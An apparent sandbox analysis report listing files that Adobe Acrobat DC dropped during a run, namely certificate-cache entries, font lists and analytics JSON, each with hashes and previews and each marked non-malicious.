Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7464849065063075
Encrypted:	false
SSDEEP:	3:kkFklZrkNvfllXlE/HT8k2Hz/ltNNX8RolJuRdxLlGB9lQRYwpDdt:kKwT87VNMa8RdWBwRd
MD5:	A798F647547B0367AF174BA5862D330F
SHA1:	CC22572CDF84D8B4B3FE2A20B48E87B9938CEBC0
SHA-256:	C1263958C17D8197A0D0576F9ACCA7EBBF3A5FD54883DDD3C777F2443B963659
SHA-512:	0C4CF93F286960BD98BFCF4B8214FEEB7C4325D990CEDC5A73C83910EB7D31AFD5EA5A1FDAA140E4F34A59D10486FCE745D1D192717C8EDA96A982ECD0671480
Malicious:	false
Preview:	p...... .........R.]ef..(....................................................... ..........W...................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.121190943389898
Encrypted:	false
SSDEEP:	6:kKBV9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:aDnLNkPlE99SNxAhUe/3
MD5:	344B2485AB49CAFD6E08702481D28656
SHA1:	45C90F4551B4AC4A3C30901A4935099AFB73471A
SHA-256:	51F55B58F4985F3B9ED07632452AD4741B75F1633E295D85A07955BA641AAACA
SHA-512:	4AD1B9454A55B71A9C30F770AD4EE34EEEBD8B5A4C3F1DA87E7DE77254C5CE3088C51032D7CEAD903BFD6536DD545D854C36940DEF0216CBA94668AC7DFB8C5D
Malicious:	false
Preview:	p...... .........C.pef..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5044

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5044

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.351043597204098
Encrypted:	false
SSDEEP:	6:YEQXJ2HXA2TecUcTY+FIbRI6XVW7+0YVjqoAvJM3g98kUwPeUkwRe9:YvXKXJFtYpW7yGMbLUkee9
MD5:	29D365DEF662534D49636A1A272AB5F2
SHA1:	25020F95D3DC0B2DDD751E5C37E873D844ACC3F8
SHA-256:	A7B2F93F4049EA9D81FB496C240915AFB5F3282E65119FF6A2F92B1DC40437F0
SHA-512:	9D1F1BD579C2B43DA1876E7D97390ECB8766A9D7C33FE1A10072597A9CC5A061F74D1DCE6B5A8AF391615FA25919299D6B26A519BE116D31BAAFF109F304EDBD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8cf7de6-5874-4f53-95d9-2fa9ebfe1861","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737022480782,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.28568836879754
Encrypted:	false
SSDEEP:	6:YEQXJ2HXA2TecUcTY+FIbRI6XVW7+0YVjqoAvJfBoTfXpnrPeUkwRe9:YvXKXJFtYpW7yGWTfXcUkee9
MD5:	543118EFD17F9E9CBCFE0FB22A4B466B
SHA1:	691AA15D311025B0832F6555F6F76EE43C7ECF06
SHA-256:	7ECDA3759A93D8B924FD87834D91E774E3AB4E3534EA898B4397903DE0346907
SHA-512:	E679FD5B33637B3AE49CEB6D2D1DE570B6E37E9A66E9885EC0AC877ED75C6E0D7D3FC8C173433FF4125FF697D71C073EB60AC5E5B76CDFC3E0A6758B932AD6E3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8cf7de6-5874-4f53-95d9-2fa9ebfe1861","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737022480782,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.265214551871572
Encrypted:	false
SSDEEP:	6:YEQXJ2HXA2TecUcTY+FIbRI6XVW7+0YVjqoAvJfBD2G6UpnrPeUkwRe9:YvXKXJFtYpW7yGR22cUkee9
MD5:	5EE3588C92A8B4838788DF6E6E2DBCD2
SHA1:	88727988E9949F3D5908AF85CE6B454DEE6ED026
SHA-256:	3A7F33E8B530F1309C0526059F3568103E9E657CAED224BA1ECC94838FC882CF
SHA-512:	4BDA91B021B2467897817BDD2CD41E77101A3E7509ABC53A721FF4AB5349BA9D896A377B01174525C83C1756EDCFC090BA5E10715521068E26B5ADCCF47A6717
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8cf7de6-5874-4f53-95d9-2fa9ebfe1861","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737022480782,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.32950420155582
Encrypted:	false
SSDEEP:	6:YEQXJ2HXA2TecUcTY+FIbRI6XVW7+0YVjqoAvJfPmwrPeUkwRe9:YvXKXJFtYpW7yGH56Ukee9
MD5:	CE5D8F59818C745D1979760D8CB372B1
SHA1:	97E8DEACA53924C513F87681079F7D310CC30ECE
SHA-256:	B95070F86920EBBE1D6604667EF5E449C192AC56F2F39E2A0812CBEB8A6012D3
SHA-512:	3F09BD52FC3E90326DA7F087E3F1F18098C07D4E6D5185C5E17B448F2F2FFFC765386A46F93FA863133465DAE0EF4CBC3ADAEC43E693B3B467843064FDE194BB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8cf7de6-5874-4f53-95d9-2fa9ebfe1861","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737022480782,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.691518966174943
Encrypted:	false
SSDEEP:	24:Yv6XJFmiPpLgE9cQx8LennAvzBvkn0RCmK8czOCCSxDr:YvIFRPhgy6SAFv5Ah8cv/Vr
MD5:	528E273AA20C5DF9E8E31D8E8DF0847B
SHA1:	DF8863E777E4BD92678C69DB86545001AFFF9B46
SHA-256:	097989103C15D0AABCAAFAB5487404ED7F376350BFF42B1CAE0261B08AC4B81A
SHA-512:	FFFDC5AE670C724F6A30B84918F6D84682442E8D29A7F6BA81D575C518D9A0F0327FFABA4BCE2CA2BCCAA3191FE03B6133049CF6A332C001307E1B5F35563E33
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8cf7de6-5874-4f53-95d9-2fa9ebfe1861","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737022480782,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.27299038432365
Encrypted:	false
SSDEEP:	6:YEQXJ2HXA2TecUcTY+FIbRI6XVW7+0YVjqoAvJf8dPeUkwRe9:YvXKXJFtYpW7yGU8Ukee9
MD5:	CE7A73955C3206AFD470D7EA3524079F
SHA1:	36800956AC968AE4C4649C428E04D1841EF510A9
SHA-256:	F8669C62A074BF017F318F1BE1B5A04A84BA81A3D69C1D0356417F74535D6C97
SHA-512:	36059EBFB27B9E62E24E88A00DA68E0B1F7FED4A87C312B68AAE7BF869E431386893EA101FCFED29CF191A290A50843BC11F3F5C0E67BF861BE69FBFD2E65DA7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8cf7de6-5874-4f53-95d9-2fa9ebfe1861","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737022480782,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.27339749673483
Encrypted:	false
SSDEEP:	6:YEQXJ2HXA2TecUcTY+FIbRI6XVW7+0YVjqoAvJfQ1rPeUkwRe9:YvXKXJFtYpW7yGY16Ukee9
MD5:	521BFDCE53718305419A519FB13742E0
SHA1:	31C98BB6F15FF4A3E875A973C4B08B5C7753B701
SHA-256:	9228B1A053D19CF28156F0E25127F58E47E7D5E00844D24213800E8CEA517AC6
SHA-512:	42BEB4809BDBA41C916EAB1CF68C3471FABB9AB43EDAC0A152C747779E8B6DC04CD3103EB7F967FFD6F432E421EDF3C9D193BAC14A7FF8A14789AD4EEAF420B9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8cf7de6-5874-4f53-95d9-2fa9ebfe1861","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737022480782,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.293007405725211
Encrypted:	false
SSDEEP:	6:YEQXJ2HXA2TecUcTY+FIbRI6XVW7+0YVjqoAvJfFldPeUkwRe9:YvXKXJFtYpW7yGz8Ukee9
MD5:	F40BC00B18120F8F2DEE70BF60232606
SHA1:	12FB17AA5817A2CF34D80D53712DDF8E7370CF44
SHA-256:	5B5EF977359D5775BB8A2F9A56A65676D5E982EA0B7B42E428F1FB52AA4C15C2
SHA-512:	384CDADA39B723F86794135CA9AE31AF007A385C25ED51F06E9A0AF6E74A5CAF65232DFA167A21ED0D0440300549E4D66A7FF9200175DF0FD13FB11C6CF75C35
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8cf7de6-5874-4f53-95d9-2fa9ebfe1861","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737022480782,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.299974794244514
Encrypted:	false
SSDEEP:	6:YEQXJ2HXA2TecUcTY+FIbRI6XVW7+0YVjqoAvJfzdPeUkwRe9:YvXKXJFtYpW7yGb8Ukee9
MD5:	9D51118A288D95540A9575A29810DED0
SHA1:	EC7A696C2D536DFADF8E65F180855B2F6B4F36DF
SHA-256:	C41966FD8D690B4423101BFA16A059888C735F9E41644F79E106550E0E1972BD
SHA-512:	DBA5C985CDCA073476B62B5CAB75E654BFEA94B51239C530657199C3DF3F5E59C2DE76382950877F71E880051E2F6E77589EA9C86BB89C7E4BD06BF93AF117AD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8cf7de6-5874-4f53-95d9-2fa9ebfe1861","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737022480782,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.279922182750055
Encrypted:	false
SSDEEP:	6:YEQXJ2HXA2TecUcTY+FIbRI6XVW7+0YVjqoAvJfYdPeUkwRe9:YvXKXJFtYpW7yGg8Ukee9
MD5:	1494B0B6EC0795334E4245C4A534116F
SHA1:	6EDE67ED865E07D1F62E1980625F2738978E983C
SHA-256:	EE4E02C4133F59008757E14394F29528B1DFE92BD103D6EC6C72B6F7574DCFFF
